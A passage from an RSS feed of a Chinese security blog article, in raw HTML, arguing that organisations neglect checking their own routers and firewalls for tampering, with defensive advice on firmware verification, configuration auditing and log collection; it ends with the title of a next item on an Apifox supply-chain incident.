rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">设备固件——就是设备上跑的操作系统——有没有跟厂商发布的原版一致？有没有被篡改？有没有被植入后门？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Cisco其实提供了一整套完整性验证工具：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">verify /md5</span></code><span leaf="">做固件哈希校验，</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">show software authenticity</span></code><span leaf="">验数字签名，还能导出运行时内存的text段跟已知良好基线做比对。Cisco的取证指南里写得很清楚——如果你怀疑设备被入侵，</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">第一件事不是重启，是在不改变设备状态的情况下收集证据。</span></strong><span leaf=""> 重启会导致所有易失性信息不可恢复地丢失。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些东西在Cisco官网公开了很多年。但在多少甲方的应急预案里写了&#34;网络设备取证流程&#34;？在多少安全团队的日常运营里有&#34;定期固件校验&#34;这个动作？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2025年9月CISA发紧急指令，要求联邦机构把所有Cisco ASA的内存dump提交取证的时候，很多做安全的人是懵的——原来网络设备取证是这么做的？原来ROM是可以被改的？原来需要dump内存？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不是技术做不到，是从来没想过要做。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">你的设备配置还是你配的吗？</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Salt Typhoon在路由器上做的很多操作，用设备正常的管理功能就能完成——加一条SPAN镜像规则，加一条静态路由，建一个GRE隧道，加一个SNMP用户。不需要漏洞利用，只要拿到管理权限就行。而很多设备的SNMP community string至今还是默认的&#34;public&#34;和&#34;private&#34;。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以另一个必须回答的问题是：你的设备当前的运行配置，跟你定义的安全基线一致吗？有没有你不认识的配置项？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">几个该重点关注的东西：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">有没有你不认识的SPAN/RSPAN/ERSPAN端口镜像配置</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">有没有你不认识的GRE/IPsec/VXLAN隧道</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">有没有你不认识的静态路由</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">有没有你不认识的SNMP community string或用户</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">有没有你不认识的本地账号</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">日志配置有没有被改过——syslog目标地址变了没有、日志级别降了没有</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">AAA认证配置有没有被动过</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些配置项如果出现了变化而你不知道，要么是运维的变更管理没做好，要么就是有人在你的设备上做了他想做的事。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">你的设备日志接到安全平台了吗？</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后一个问题。你的SIEM里收了终端日志、服务器日志、应用日志，但你的网络设备的syslog和TACACS+日志呢？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">很多甲方的网络设备日志要么没开，要么只存在设备本地buffer里（满了就覆盖），要么发到了网络组的NMS上但安全团队看不到。而攻击者在设备上做的第一件事往往就是关日志或者改日志配置——Salt Typhoon的标准操作流程里就包括这一步。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果设备日志不在安全团队的视野里，那发生在设备上的任何异常行为——非工作时间的CLI登录、来自未授权IP的管理访问、异常的配置变更、隧道创建——安全团队都不会知道。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">一个行业性的缺位</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">上面这些问题，从技术上没有一个是解决不了的。固件校验、配置审计、日志采集、变更检测——工具和方法都是现成的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但现实是大部分甲方没在做。原因也很直白：</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">认知问题。</span></strong><span leaf=""> 安全从业者的知识体系里，网络设备这块是严重欠缺的。大部分安全工程师没登录过路由器命令行，不清楚IOS的文件系统结构，不知道怎么做固件校验。整个行业的培训、认证、知识输出都集中在终端和应用层，网络设备安全的资料极少。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">工具问题。</span></strong><span leaf=""> 国际上Eclypsium在做网络设备固件安全，但国内几乎没见过采购案例。国内安全厂商的产品线里——NDR看流量、EDR看终端、漏扫扫端口——没有一个产品是设计来回答&#34;你的防火墙固件有没有被人改过&#34;这个问题的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">意愿问题。</span></strong><span leaf=""> 没出过事。在大部分甲方的安全事件记录里，还没有&#34;核心防火墙被植入后门&#34;这种case。没出过事就没有动力投入。但Salt Typhoon在路由器里住了四年才被发现——你确定你的设备没问题，还是只是没发现？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这中间存在一个巨大的空白——不管是安全产品、安全服务还是安全研究，&#34;甲方网络设备和安全设备自身的安全检测&#34;这个方向几乎没有人在认真做。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">做Web安全的人成千上万，研究终端恶意软件的也不少，但你去找一篇&#34;甲方如何检测自己的防火墙有没有被APT植入后门&#34;的深度技术文章——中文互联网上几乎找不到。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这本身就说明了问题。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">所以？</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2024到2025年，APT组织用实际行动完成了一次攻击范式的转移：从打应用、打终端，到打基础设施设备本身。VPN网关、防火墙、路由器、邮件安全网关——这些你花钱买来保护自己的东西，现在是攻击者最喜欢打的目标。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而安全行业的响应，还停留在&#34;发CVE、打补丁、发通告&#34;的循环里。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">没有人在帮甲方回答那个最核心的问题：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">打完补丁之后，我怎么知道设备是干净的？</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个问题值得有人去认真回答。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><em style="box-sizing: border-box;font-style: italic;color: black;"><span leaf="">参考来源：</span></em><em style="box-sizing: border-box;font-style: italic;color: black;"><span leaf="">CISA Emergency Directive ED 25-03 (2025.9)；CISA/NSA联合公告AA25-239a (2025.8)；CISA Advisory AA23-108 APT28 Jaguar Tooth (2023)；Cisco IOS/IOS-XE Software Integrity Assurance；Cisco IOS Forensic Data Collection Procedures；奇安信《网络威胁2024年中报告》；安全内参《2024年全球零日漏洞利用七大趋势》；NIST SP 800-189r1 (2025)；多国联合 &#34;Mitigation Strategies for Edge Devices&#34; (2025.2)</span></em></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=15b156ae&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484045%26idx%3D1%26sn%3Daec48523131aeb406b2320a158324613">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Mar 2026 15:41:00 +0800</pubDate>
    </item>
    <item>
      <title>Apifox 供应链投毒事件分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484024&amp;idx=1&amp;sn=39b450fd7f1fd91e28da3cd11c742d5a</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋GGBOND</span> <span>2026-03-25 12:13</span> <span style="display: inline-block;">上海</span></p>






  
